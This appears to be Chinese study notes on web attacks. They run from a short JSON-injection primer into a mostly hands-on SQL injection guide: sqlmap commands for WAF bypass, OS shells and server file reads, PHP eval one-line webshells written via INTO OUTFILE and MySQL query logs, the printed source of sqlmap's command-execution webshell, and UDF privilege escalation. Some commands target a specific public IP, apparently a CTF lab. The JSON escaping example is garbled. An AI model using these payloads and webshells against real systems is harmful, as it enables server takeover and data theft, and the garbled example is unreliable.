JSON是一种轻量级的数据交换格式,易于阅读和编写,同时也易于机器解析和生成。它是基于JavaScript的一个子集,JSON采用完全独立于语言的文本格式,但是也使用类似于C语言家族的习惯(C、C#、C++、Java、JavaScript、Perl、Python等都可以使用JSON),这些特性使JSON成为理想的数据交换语言。
JSON可以将JavaScript中的对象转换为字符串,然后在函数、网络之间传递这个字符串。
2、JSON结构
JSON建构于两种结构:
①“名称/值”对的集合。不同的语言中,它被理解为对象(object),纪录(record),结构(struct),字典(dictionary),哈希表(hash table),有键列表(keyed list),或者关联数组 (associative array)。
②值的有序列表。在大部分语言中,它被理解为数组(array)。
例如:下面一段示例使JSON最简单的Key-Value示例(名称-值对,键值对):
{"Username":"xsser"} |
3.JSON注入
JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON数据时抛出异常。
在JSON中是根据引号(”)、冒号(:)、逗号(,)、花括号({})来区分各字符的意义的。如果向JSON中注入恶意字符,那么JSON将解析失败。
例如:输入的Password值为:admin”1,那么在JSON语句中为:“password”:“admin”1”,为了”password”:“admin”1”成功解析,我们可以把”admin”1”转换为”admin”1”。
JSON注入和XML注入、SQL注入一样,都需要对影响语句的内容进行转义,如双引号、花括号等。
4.如何避免 JSON 注入
1、检查程序逻辑,根据实际需求对数据进行合理过滤和安全校验,以避免产生JSON注入。
2、后台代码对Json数据进行编码
JsonStringEncoder
3、使用安全json parser防止json注入
SQLMAP使用
首先,SQLMap是一个自动化的SQL注入工具
kali内自带SQLMAP,用-h参数查看sqlmap的参数与使用方法
kali中直接输入sqlmap即可使用
参数:
常用指令
sqlmap -r http.txt #http.txt是我们抓取的http的请求包 |
绕WAF
原理:
只用–tamper对参数进行修改来绕过waf,官方提供的绝大部分脚本是用正则模块替换攻击载荷字符编码的方式来绕过waf的检测规则。
指令
--identify-waf 检测是否有WAF |
sqlmap为我们准备了绕过waf的脚本,在sqlmap文件夹tamper文件夹下
使用情况如下:
使用方法--tamper xxx.py |
-level/-risk
Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多 ,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。 在不确定哪个参数为注入点时,为为保证准确.性,建议设置level为5
Sqlmap一共有3个危险等级, 也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思, 在不确定的情况下,建议设置为3级,–risk=3
工具使用payload目录
sqlmap\data\xml\payloads(windows)
伪造Http Referer头部
sqlmap可以在请求中伪造http请求头中的referer,当-level大于等于3时,会进行referer注入
eg: referer http://www.topreverse.cn
执行指定的SQL语句
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --sql-shell #执行指定的sql语句 |
执行OS系统命令
当且仅当数据库是mysql、postgresql、sql server时可以执行。
当数据库是mysql时,需要满足3个条件:
1、root权限
2、已经知道目标站点的绝对路径
3、secure_file_priv的参数值时空(未修改前是NULL)
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-shell #执行--os-shell命令 |
过程中sqlmap会向指定路径传入两个文件,tmpblwkd.php(木马文件)和tmpueqch.php。退出时输入q和x才可以删除传入的文件。
读取服务器文件
前提:数据库是:mysql、postgresql和sql server
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-read "c:/topreverse.txt" #读取目标服务器C盘下的test.txt文件 |
上传文件到数据库服务器
前提:数据库是mysql、postgre sql、sql server
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id=1 --file-write C:\Users\system32\Desktop\text.php --file-dest "C:\phpStudy\PHPTutorial\WWW\test.php" #将本地的text.php文件上传到目标服务器test.php |
sqlmap自身上传完成之后会进行验证,读取文件大小进行对比。
SQL写马
into outfile
利用条件
1.此方法利用的先决条件
web目录具有写权限,能够使用单引号
知道网站绝对路径(根目录,或则是根目录往下的目录都行)
secure_file_priv没有具体值(在mysql/my.ini中查看)
最好网站是root权限
2.secure_file_priv
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。如下关于secure_file_priv的配置介绍
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
所以如果我们要想使用into outfile函数写入一句话的话就需要将secure_file_priv 的值设为没有值,那如何设置了?修改secure_file_priv 的值只能通过手动打开配置文件进行修改,不能直接使用sql语句进行修改
(1)看secure-file-priv参数的值
show global variables like '%secure%'; |
如下,secure_file_priv 的值默认为NULL,则表示限制mysqld 不允许导入|导出
(2)修改secure_file_priv 的值
我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ‘’ 即可
此时再查看secure_file_priv的值如下已经变为空了
设置完成后我们就可以利用这个函数来写入一句话木马
outfile还有一个”兄弟”时dumpfile
两者的区别是dumpfile只能导出一行,而outfile支持多行,dumpfile保留数据的原始格式未进行转义,而outfile会对数据进行转义
写入webshell
我们以sqli-labs第七关为例
1.注入点判断
输入正确的语法正常显示,错误的语法显示说语法错误,页面只存在两种状态,判断为盲注。我们输入?id=3’)) and sleep(5) –+时成功延时,所以注入点就为3’)),我们输入的字符被包含在单引号中,且单引号外有两个双引号包裹
2.判断列数
我们使用order by 语句判断列数,order by 3时,正常显示,4时不正常,判断为3列
3.写入webshell
加如此前我们已经通过一些方法获取到了网站的根目录,则可以写入一句话 “ <?php eval($_REQUEST[1]);?>
”。一句话建议进行十六进制转码(不用编码也可以)
编码后,然后在最前面加上 0x。如下我们将一句话木马进行十六进制编码后写入了根目录下的outfile.php文件中
http://106.15.50.112:8023/?r=content&cid=-1%20and(1)UNION SELECT 1,2,3,4,5,6,7,8,9,10,<?php @eval($_REQUEST['aaa']);?>,12,13 into outfile "/var/www/html/aaa.php"
?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\ph |
成功写入,这里网站的目录要使用双斜杠不然会写不进去,第一个斜杠是转义的意思,字符串解析不仅仅局限于C编译器,Java编译器、一些配置文件的解析、Web服务器等等,都会遇到对字符串进行解析的这个问题,由于传统的 Windows采用的是单个斜杠的路径分隔形式,导致在对文件路径进行解析的时候可能发生不必要的错误,所以就出现了用双反斜杠”\“分隔路径的形式。 不管解析引擎是否将反斜杠解析成转义字符,最终在内存中得到的都是”",结果也就不会出问题了。
4.连接webshell
成功连接
如果我们将 secure_file_priv的值为设置为null,我们在进行上面的写入操作发现并没有写进去。
所以没有写进去的情况有两种:
- 网站的路径不对,或者没有使用双斜杠进行转义
- secure_file_priv的值不是为空
–os-shell
原理
–os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件
此为sqlmap的一个命令,利用这条命令的先决条件:
要求为数据库DBA,使用–is-dba查看当前网站连接的数据库账号是否为mysql user表中的管理员如root,是则为dba
secure_file_priv没有具体值
知道网站的绝对路径
使用
我们以sqli-labs第一关为例
sqlmap -u http://192.168.43.145/2_Shotting_Range/sql/Less-1/?id=1 --os-shell |
这里需要我们选择网站的脚本语言,和网站根路径
[1] common location(s) (‘C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/‘) (default) #sqlmap自带测试常规路径
[2] custom location(s) #自己填写绝对路径
[3] custom directory list file #自己填写目录字典,我们将字典所在的路径传过去就行
[4] brute force search #爆破路径
sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):
tmpbeewq.php 用来执行系统命令
tmpuqvgw.php 用来上传文件
- tmpbeewq.php的文件内容为
$c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>"; |
访问一下
- 使用tmpuqvgw.php上传文件
我们上传一个php的一句话后门
访问
所以这两种方式都需要知道网站的绝对路径才行。
补充:
上面说了sqlmap写入webshell的方式有三种,缺一不可
- web目录具有写权限,能够使用单引号
- 知道网站绝对路径
- secure_file_priv没有具体值(在mysql/my.ini中查看)
如何寻找web文件路径
web应用的位置默认都在**/var/www/html/,我们一般网页的文件都是在这上面,但是如果开发者设计的话可以在/var/www/html/** 后修改网页文件存放位置。
利用mysql的函数
sqlmap -u 'http://106.15.50.112:8023/?r=content&cid=15' --dbms "mysql" --file-read "/etc/passwd" --technique U |
当然 sqlmap得到得信息不会显示出来,而是会在保存在sqlmap的文件夹中。
找到文件位置,打开文件(注意是 .local 有个 “.” 需要注意)
没有关键信息,我们再查看其他的配置文件(这种文件名,一般情况都是默认)
sqlmap -u 'http://106.15.50.112:8023/?r=content&cid=15' --dbms "mysql" --file-read "/etc/init.d/httpd" --technique U |
得到关键config文件的路径
sqlmap -u 'http://106.15.50.112:8023/?r=content&cid=15' --dbms "mysql" --file-read "/etc/httpd/conf/httpd.conf" --technique U |
找到的web文件放置的路径,这就是我们要上传木马的路径
接下来手动用sqlmap 写马都可以,这里选的是手动
写马POC
http://106.15.50.112:8023/?r=content&cid=-1%20and(1)UNION SELECT 1,2,3,4,5,6,7,8,9,10,<?php @eval($_REQUEST['aaa']);?>,12,13 into outfile "/var/www/html/whalwl/aaa.php" |
继续检测
这里又失败了,为什么了呢?,又涉及到经验问题了,服务器一般不会给web根目录写文件的权限(实际上能sql注入写马的条件比较苛刻),不过我们可以继续寻找子文件夹,看是否能上传。
下面也不啰嗦了,发现,直接是能上传到 image 目录下,
http://106.15.50.112:8023/?r=content&cid=-1%20and(1)UNION SELECT 1,2,3,4,5,6,7,8,9,10,"<?php @eval($_REQUEST['aaa']);?>",12,13 into outfile "/var/www/html/whalwl/images/aaa.php" |
shell管理工具连接
看到flag
–sql-shell
我们可以先使用这个来执行一些sql语句
sqlmap.py -u "xxx" --sql-shell |
查看文件路径(mysql/data的路径,根目录一般与mysql处于同一目录)
select @@datadir; |
查看secure_file_priv的值是否为空
select @@secure_file_priv |
如下为null,无法写入
当为空的时候则什么都不返回
其他方法
1.phpinfo()
2.随便传入参数 报错 可能有相关信息
3.指纹信息收集
提权
在实际上我们用木马连接后,权限可能很小
详细如下:提权详解
这里采用UDF提权的方法
这里的udf提权是应用程序或服务提权
udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。
提权步骤
1.把含有自定义函数(如执行系统调用函数“sys_eval”)的dll文件(如linux为so文件等)放入特定文件夹下
2.声明引用这个dll文件中的自定义函数
3.使用这个自定义的函数系统调用完成提权
udf 文件后缀一般为 dll,由C、C++编写
先到sqlmap上找到udf文件,要注意到这个文件的后缀是so_,不是so ,所以还需要编译一下,具体原因请仔细看上方链接。
利用 cloak.py 给 udf文件解码
python cloak.py -d -i lib_mysqludf_sys.so_ |
修改名称为aaa.so
上传这个文件同样需要路径,这里又要引入一个新概念
plugin
plugin是插件的意思,通常是用与对某个现有的架构进行扩展。
我们把这个udf文件放入到plugin文件才能真正产生作用。
实施
- 找到数据库名称,密码
- 查找plugin路径
- 上传udf文件
- 执行系统命令
首先在配置文件找到了数据库登陆信息
登陆数据库,查找plugin路径
show variables like '%plugin%' |
在该路径把udf文件上传,aaa.so
之后在数据库输入命令,执行提权文件
create function sys_eval returns string soname 'aaa.so'; |
命令执行打开flag
如果MySQL版本大于5.1,udf.dll文件必须放置在MySQL安装目录的lib\plugin文件夹下才可以创建自定义函数。该目录默认是不存在的,需要使用WebShall找到MySQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录。
如果MySQL版本小于5.1,udf.dll文件在Windows Server 2003 下放置在C:\Windows\system32目录中
日志马
全局日志写马
我们所有的数据库的都有一个存放日志的文件,这个文件可以会进行记录数据库的操作语句,也可能不会记录数据库的操作语句,这却决于两个全局变量:
general_log
==>日志保存状态,有两个状态,ON代表开启 OFF代表关闭。
general_log_file
==> 日志的保存路径。
show global variables like "%general_log%";
查看这两个日志文件相关的配置
D:\phpstudy_pro\Extensions\MySQL5.7.26\data\LAPTOP-R496QJ56.log |
可以看到这里的日志记录状态是处于关闭状态,那么我们需要设置以下使这个选项打开。SET GLOBAL general_log='ON';
打开日志记录
set global general_log_file='D:、\\phpstudy_pro\\WWW\\log.php';
设置日志存储路径,写马,这里需要注意的就是需要使用双斜线,然后还有就是日志文件必须是.php文件防止不能被解析
设置完毕之后就是代表着所有的执行语句都会记录到日志文件当中,不管执行成功与否。
select '<?php assert($_POST[sss]);?>';
查询语句,其实就是写马,让日志文件众留下这样一句查询语句。那么可以使用这个木马了
同样 也需要知道文件路径
慢日志写马
慢日志全称为慢查询日志(Slow Query Log),主要用来记录在 MySQL 中执行时间超过指定时间的 SQL 语句。通过慢查询日志,可以查找出哪些语句的执行效率低,以便进行优化。
默认情况下,MySQL 并没有开启慢日志,可以通过修改 slow_query_log 参数来打开慢日志。与慢日志相关的参数介绍如下:
slow_query_log:是否启用慢查询日志,默认为0,可设置为0、1,1表示开启。 |
一般情况下,我们只需开启慢日志记录,配置下阈值时间,其余参数可按默认配置。对于阈值时间,可灵活调整,比如说可以设置为 1s 或 3s 。
在配置文件中,我们可以设置以下几个慢日志相关参数:
慢查询日志相关配置,可根据实际情况修改 |
下面我们具体看下,慢日志会记录哪些内容?我们执行一条较慢的查询 SQL ,来看下在慢日志中的体现。
# 该条SQL执行时间超过阈值 |
如果启用了慢速查询日志,并且选择了 FILE 作为输出目标,则写入日志的每个语句都以 # 字符开头。对于每一组慢SQL,第一行记录的是该条 SQL 执行的时刻(如果 log_timestamps 参数为 UTC ,则改时间会显示 UTC 时区时间),第二行记录的是执行该语句的用户和 IP 以及链接 id ,第三行的几个字段解释如下:
- Query_time: duration 语句执行时间,以秒为单位。
- Lock_time: duration 获取锁的时间(以秒为单位)。
- Rows_sent: N 发送给 Client 端的行数。
- Rows_examined: N 服务器层检查的行数(不计算存储引擎内部的任何处理)。
下面两行分别是此语句执行时候的时间戳和具体慢 SQL 。
在实际环境下,不建议开启 log_queries_not_using_indexes 参数,此参数打开后可能导致慢日志迅速增长。对于慢日志的筛选与分析,我们可以借助 mysqldumpslow、pt-query-digest 等工具来分析。对于慢日志文件,要定期进行归档处理,比如可以暂时关闭慢日志,然后将旧文件重命名,之后再开启慢日志,这样就会写入新的日志文件中,有效减小日志体积。
1.开启日志功能
SET GLOBAL slow_query_log_file='D:\\phpstudy_pro\\WWW\\shell.php'; |
2.设置日志存储路径
SET GLOBAL slow_query_log_file='D:\\phpstudy_pro\\WWW\\shell.php'; |
3.执行sql语句
select '<?php eval($_GET[H])?>' or SLEEP(11); |
同样需要知道文件路径
其他数据库
与前面的mysql的注入方式大同小异
access数据库
它的一些主要组件是表格、表单、报告和查询 没有库的概念
也是可以用sql语句查询
也可以直接找到他的位置下下来
也就是说access数据库没有information_schema库
注入:
不同的数据库报错回显不同
主要靠猜(爆破)
包括mysql5.0之前都是这样
通过exists来(有数据为true)
猜完表名、字段名后猜字段数据长度
用top函数 top=limit
len=lenth
然后猜字段数据内容
asc=ascii mid=substr
也可以使用order by猜字段数目
然后用union select
mysql跨库查询
库名.表名
access的跨库查询更加苛刻
基本不用
mssql数据库
全称Microsoftsqlserver
也是和mysql相似 只是报错信息不同
order by 3=order by 1,2,3
sqlserver对数据类型严格
主要使用报错注入
爆库
>0
也是猜库名
爆表
爆列
爆数据
针对mssql不同的权限有不同的注入手法